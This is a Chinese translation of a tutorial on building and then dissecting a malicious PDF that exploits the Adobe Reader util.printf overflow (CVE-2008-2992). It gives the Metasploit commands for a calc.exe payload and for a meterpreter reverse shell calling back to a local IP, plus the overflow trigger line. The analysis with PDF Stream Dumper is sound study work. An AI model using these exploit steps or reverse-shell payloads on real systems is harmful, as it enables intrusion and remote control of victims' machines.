[翻译]如何从恶意PDF中提取payload?

原文地址:https://www.adlice.com/infected-pdf-extract-payload/

使用受感染的PDF一直是感染用户的最佳方式,因为这种文档格式非常常见,几乎每个人都使用它。此外,存在许多利用Acrobat Reader漏洞的方法,它是发布恶意软件的非常隐秘和优雅的方式。

在本文中,我将向您展示,使用自定义shellcode制作恶意PDF并触发漏洞以执行payload是多么容易。我们还将分析恶意PDF以了解payload的存储方式以及如何提取它。

本文仅供研究之用,不要做坏事!

PDF格式

PDF是面向对象的格式,由Adobe定义。此格式描述了文档组织,并保留了文档所需的依赖关系(字体,图像……)。这些对象作为流存储在文档中,并且大部分时间被编码或压缩。以下是经典PDF文档的概述。有关更多信息,请阅读Adobe的规范。

创建恶意PDF

我们将使用metasploit创建一个伪造的PDF,其中包含一个漏洞exp,以及一个自定义的payload(要执行的代码)。该漏洞利用的目标是特定版本的Adobe Reader,因此我们需要进行一些考古并找到一个古老的Reader版本(感谢http://www.oldapps.com/)在目标机器上安装。

所以,首先,让我们制作这个PDF。我们将制作一个只在机器上打开计算器(calc.exe)的恶意PDF,仅用于演示。打开metasploit控制台(本文未涉及安装metasploit)并键入:

1
2
3
4
5
6
use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exe
show options
exploit

看起来像这样:

将刚创建的文件(此处为/home/osboxes/.msf4/local/malicious.pdf)复制到共享驱动器上。您需要把它提供给目标机器。

恶意PDF执行

在目标计算机上,下载并安装易受攻击的Adobe Reader版本(metasploit告诉我们它应该小于8.1.2)。我选择安装8.1.1版本

安装后,执行malicious.pdf文件。您应该看到从Adobe Reader进程生成的计算器。这就是漏洞利用。

我已经完成了另一个PDF,但稍微改变了payload,只是为了好玩:

1
2
3
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.29
set LPORT 4455

这是结果。 Adobe Reader现在有一个后门(反向shell)监听命令。

恶意PDF分析

玩够了! 让我们看看恶意PDF中的内容,让我们尝试提取恶意payload(我们仍然使用calc.exe PDF)。

首先,我们需要一个名为PDF Stream Dumper的工具,所以请下载它。使用它加载恶意PDF,并花些时间熟悉该工具。

我们可以使用该工具的“Exploit Scan”菜单检测PDF中是否有exp

1
Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

实际上,在流6中隐藏了一个漏洞(捕获中的蓝色漏洞)。

但是让我们从头开始:在PDF中搜索漏洞时,我们大多数时候会遇到由Javascript代码创建的堆喷。该堆喷用于推动堆上的payload,一旦漏洞被触发就可以执行

如果您打开流1,您可以看到:

1
/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

我们可以在流5上转换为OpenAction。让我们转到第5流:

1
/Type/Action/S/JavaScript/JS 6 0 R

其中说要执行位于流6中的Javascript。此流显示简单的Javascript,是时候打开“Javascript_UI”菜单了。我们立即识别出一个十六进制编码的大字符串,并将其推入变量以进行堆喷。这是我们的payload

幸运的是,我们有工具来操纵它,并了解它的作用。选择payload(引号之间的部分),然后打开“Shellcode_analysis”菜单。 然后选择“scDbg - LibEmu Emulation”。您将获得一个新窗口将shellcode解码为字节(您甚至可以将其保存到文件中):

LibEmu是一个能够模拟处理器的库,它提供了有关汇编代码尝试执行的操作的信息。只需点击“启动”按钮,您就会明白:

在这里,我们可以清楚地看到shellcode只会打开一个calc.exe窗口并退出。 让我们重新对其他恶意PDF(反向shell)进行相同的分析

呃,自我解释吧? Shellcode正在加载操作套接字所需的库(ws2_32.dll),并尝试连接回C&C

我没有告诉漏洞本身,它位于javascript代码的末尾(如Exploit搜索所述,“util.printf - 在stream:6中找到”)。它正在利用printf函数上的缓冲区溢出来执行任意代码(这里是我们的堆喷射shellcode)。

1
util.printf("%45000.45000f", 0);

参考

窝很可爱,请给窝钱